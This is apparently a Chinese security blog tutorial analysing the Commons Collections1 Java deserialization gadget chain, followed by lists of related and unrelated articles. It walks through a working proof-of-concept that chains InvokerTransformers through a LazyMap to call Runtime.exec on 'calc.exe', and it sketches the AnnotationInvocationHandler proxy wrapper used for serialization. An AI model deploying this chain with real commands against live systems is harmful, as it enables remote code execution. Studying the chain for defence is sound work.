Commons Collections1分析
0x01、基础知识铺垫
接下来这个过程将涉及到几个接口和类
1、LazyMap
我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:
Map outerMap = TransformedMap.decorate(innerMap, valueTransformer);
2、Transformer
Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
3、ConstantTransformer
ConstantTransformer是实现了Transformer接⼝的⼀个实现类,它的过程就是在构造函数的时候传⼊⼀个
对象,并在transform⽅法将这个对象再返回:
4、InvokerTransformer
InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序
列化能执⾏任意代码的关键。
在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数
是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:
后⾯还提供了transform⽅法,就是执⾏了input对象的iMethodName⽅法:
5、ChainedTransformer
ChainedTransformer也是实现了Transformer接⼝的⼀个实现类,它的作⽤是将内部的多个Transformer串
在⼀起。
也就是Stream中的概念,链式调用
看到transform方法是通过传入Trasnformer[]数组来对传入的数值进行遍历并且调用数组对象的transform方法。
6、Map
Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。
7、decorate
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
LazyMap
是在get
方法去调用方法,当调用get(key)的key不存在时,会调用transformerChain的transform()方法
0x02、exp的分析
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class test02_cc1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("key", "0x7e");
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
tmpmap.get("1");
}
}
我们先看看这段代码,看不懂没事,我们分段一步一步分析
0x03、第一部分分析
可以看出这边是new一个Transformer
类型的数组,里面存储的都是Transformer
的实现类
第一个元素中是ConstantTransform
:
为什么是传入Runtime.class
,因为Runtime
类不用实现Serializable接口,所以没办法进行反序列化
Runtime.getRuntime()
和 Runtime.class
的区别 ,前者是⼀个 java.lang.Runtime
对象,后者是⼀个 java.lang.Class
对象。Class类有实现Serializable接⼝
然后通过类名.class
反射获取到了Runtime
对象
接下来就是InvokerTransformer
;通过前置知识铺垫,我们知道第⼀个参数是待执⾏的⽅法名,第⼆个参数
是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class },
new Object[] {"calc.exe"})
getMethod, null, getRuntime
invoke , null, null
exec , null, calc.exe
参数类型如下
接下来我们进去InvokerTransformer.class
内部查看一下代码怎么执行的
这边需要回顾一下getMethod
方法的使用
点击查看另外一篇文章操作成员方法
由此我们知道getMethod
第一个参数是要调用方法的名称,第二个是要执行的参数类型
invoke
第一个参数是获取到的class对象,接下来就是按照对应格式传入参数
这边就非常清楚了,调用java.lang.Runtime
里面的getRuntime
方法,获取到对象
接下来的几个InvokerTransformer
也是一样的,就不细细分析了
0x04、第二部分分析
这边是链式调用,什么是链式调用函数
想深入了解的可以看看这边文章https://www.jb51.net/article/49405.htm
经过ChainedTransformer
会依次执行Transformer[]
数组里面的方法,最后变成如下这段代码
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");
最后再创建一个Map
,并传入键值对,通过decorate
方法
这边可以看到第一个是map,也就是我们上面创建的map,然后就是Transformer[]
数组,在返回回来
最后你会疑问,咋返回的Map跟上面没区别?
这时候可以百度一下LazyMap
是怎么回事的
也就是说,当get方法被调用的时候,这个LazyMap
才会创建执行,当调用get(key)
的key不存在时,会调用transformerChain
的transform()
方法
tmpmap.get("hello");
所以这边hello的key是不存在的,所以执行了恶意代码
那我们可以get("key")
试试
因为我们有这个key,所以没有执行恶意代码,事实证明,我们的想法是正确的
0x05、第三部分分析
通过此处,f7步入get()
方法内部
传入过后,LazyMap
的get
方法方法里面的this.factory
为Transformer[]
数组,这时候去调用就会执行transform
方法
而ChainedTransformer
的transform
方法又会去遍历调用Transformer[]
里面的transform
方法
导致使用方式的方式传入的Runtime
调用了exec
执行了calc.exe
弹出一个计算器
0x06、序列化构造
上文是执行成功了,但是我们需要构造恶意的序列化,我们知道,只要调用了get方法,就会执行rce了
所以ysoserial找到了另一条路,AnnotationInvocationHandler
类的invoke方法有调用到get
当时我们要怎么调用这个AnnotationInvocationHandler#invoke()
这时候我们可以借用对象代理进行调用
然后,我们需要对 sun.reflect.annotation.AnnotationInvocationHandler
对象进行Proxy:
//获取class对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//根据参数类型获得对应的Constructor对象,第⼀个参数是⼀个Annotation类
//第⼆个是参数就是前⾯构造的Map
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
//设置暴力反射
construct.setAccessible(true);
//通过newInstance实例化对象,从而执行构造函数,导致rce
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
//新增
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是
sun.reflect.annotation.AnnotationInvocationHandler#readObject
,所以我们还需要再用
AnnotationInvocationHandler
对这个proxyMap进行包裹:
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
由于存在漏洞的AnnotationInvocationHandler
jdk版本找不到,序列化的构造就这样敷衍的写一写
Commons Collections1分析的更多相关文章
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...
- ysoserial Commons Collections1反序列化研究
Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...
- Java安全之Commons Collections3分析
Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...
- Java安全之Commons Collections2分析
Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...
- Java安全之Commons Collections5分析
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
- Java安全之Commons Collections7分析
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
随机推荐
- Netty tcnative boringssl windows 32-bit 编译
1 问题 在使用Netty SSL时,我们往往会采用netty-tcnative-boringssl组件.但是netty-tcnative-boringssl在Windows上仅有64位版本的,没有3 ...
- 软件工程与UML代码互改
这个作业属于哪个课程https://edu.cnblogs.com/campus/fzzcxy/2018SE1/ 这个作业的要求在哪里https://edu.cnblogs.com/campus/fz ...
- EF Core CodeFirst数据库自动迁移
开发过程中都会遇到数据库数据结构更新的问题,怎么对数据库更新进行版本控制呢? 不同的项目对数据库版本更新控制的方式不同,常用的有第三方Evolve,开发人员将数据库更新脚本按照版本号的放在一起,然后执 ...
- 解决黑群晖"抱歉,您所指定的页面不存在"-记一次黑群晖修复案例
起因 搞了一个usb外接硬盘准备备份数,刚好看到群晖有个工具软件"USB Copy". 安装后设置拷贝docker文件夹,然后就悲剧了,nas主页抛出提示 一开始也是直接网上搜索标 ...
- 设计模式之单例模式(Singleton Pattern)深入浅出
单例模式介绍:单例模式是指确保一个类在任何情况下都绝对只有一个实例,并且提供一个全局的访问点.隐藏其所有构造方法,属于创新型模式. 常见的单例有:ServletContext.ServletConfi ...
- js--获取滚动条位置,并实现页面滑动到锚点位置
前言 这篇来记录下最近工作中遇到的一个问题,在app原生和前端h5混合开发的过程中,其中一个页面是选择城市列表的页面,类似于美团饿了么城市选择,银行app中银行列表选择,通讯录中快速定位到联系人选择的 ...
- Java入门-jdk安装与环境搭建
计算机 计算机的组成:硬件+软件 1.硬件 1.1CPU 好比人的大脑 主要负责数据的运算以及控制 1.2内存 存储数据(临时存储) 缺点: 如果断电,数据丢失 如果程序关闭或退出,数据丢失 1.3硬 ...
- 【Redis3.0.x】持久化
Redis3.0.x 持久化 概述 Redis 提供了两种不同的持久化方式: RDB(Redis DataBase)持久化,可以在指定的时间间隔内生成数据集的时间点快照. AOF(Append Onl ...
- PAT甲级 Perfect Sequence (25) 记忆化搜索
题目分析: 意思是要求对于一个给出的数组,我们在其中尽可能多选数字,使得所选数字的max <= min * p,而由于数据量较大直接二层循环不加优化实现是不现实的,由题意得知,对于数字序列的子序 ...
- zabbix的汉化
1.在windows中找一个自己喜欢的字体(C:\Windows\Fonts)或者去网上下载一个 2.将字体上传到zabbix的web相关目录的fonts目录下 (我的zabbix的web相关的文件都 ...